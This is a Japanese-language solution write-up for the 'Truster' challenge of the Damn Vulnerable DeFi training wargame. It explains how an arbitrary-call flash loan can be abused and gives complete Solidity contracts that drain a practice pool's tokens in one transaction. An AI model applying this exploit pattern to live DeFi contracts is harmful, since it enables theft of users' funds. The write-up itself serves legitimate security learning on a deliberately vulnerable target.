チャレンジ #3 - Truster#
Solidity と Foundry のシステム学習のために、Foundry テストフレームワークを使用して、damnvulnerable-defi の解答を再作成しました。ご意見や共同作業をお待ちしております~🎉
コントラクト#
- TrusterLenderPool:フラッシュローン機能を提供し、プールには 100 万 DVT トークンがあります
スクリプト#
- DamnValuableToken、TrusterLenderPool コントラクトをデプロイする
- プールに 100 万 DVT トークンを送金する
- 攻撃スクリプトを実行する
- 100 万トークンがすべてプレイヤーアカウントに帰属し、プールの残高がクリアされることを期待します
解答#
flashLoan メソッド内のプールで、まず現在のトークン残高 balanceBefore を計算し、それからトークンを借り手に移動し、指定された target.functionCall を実行し、最後に現在の残高と balanceBefore を検証する必要があります。
以前のフラッシュローンとは異なり、ここではプールが IERC3156FlashLender を継承していないため、コールバック機能を実現するために渡された target と calldata を呼び出すことで実現されています。
したがって、主な攻撃手法は target.functionCall であり、次の内容を含みます:
- 指定された量のトークンを攻撃コントラクトに approve する
- 返済プロセスを実行する
functionCall の実行後、transfer メソッドを使用してトークンをプールから移動させ、全体のフローチャートは次のようになります:
課題の要件に従って、1 つのトランザクションでできるだけ多くの操作を完了する必要があります。そのため、flashloan+approve+transfer の操作を完了するためにコントラクトを作成する必要があります。
-
2 つのコントラクトが含まれています:TmpAttacker と Attacker です。flashloan を実行するのは Attacker ですが、1 つのトランザクションで完了するため(コントラクトのデプロイのみ)、デプロイ時に現在のコントラクトアドレスを取得できないため、TmpAttacker を作成する必要があります。
-
Attacker コントラクトのデプロイ時に pool.flashLoan が呼び出され、この時点で amount は 0 であり、approve のために TOKENS_IN_POOL の数のトークンを TmpAttacker に approve します。
-
次に TmpAttacker.withdraw を呼び出してトークンをプレイヤーアカウントに移動し、攻撃を完了します。
以下は全体のコードです:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../src/truster/TrusterLenderPool.sol";
import "../../src/DamnValuableToken.sol";
contract TmpAttacker {
uint256 internal constant TOKENS_IN_POOL = 1_000_000e18;
address player;
address pool;
DamnValuableToken token;
constructor(address _player,address _token, address _pool){
player = _player;
pool = _pool;
token = DamnValuableToken(_token);
}
function withdraw() external{
token.transferFrom(pool, player, TOKENS_IN_POOL);
}
}
contract Attacker {
uint256 internal constant TOKENS_IN_POOL = 1_000_000e18;
constructor(address _pool, address _token){
TmpAttacker attacker = new TmpAttacker(msg.sender, _token,_pool);
TrusterLenderPool pool = TrusterLenderPool(_pool);
bytes memory data = abi.encodeWithSignature(
"approve(address,uint256)",
attacker,
TOKENS_IN_POOL
);
pool.flashLoan(0, address(attacker), _token, data);
attacker.withdraw();
}
}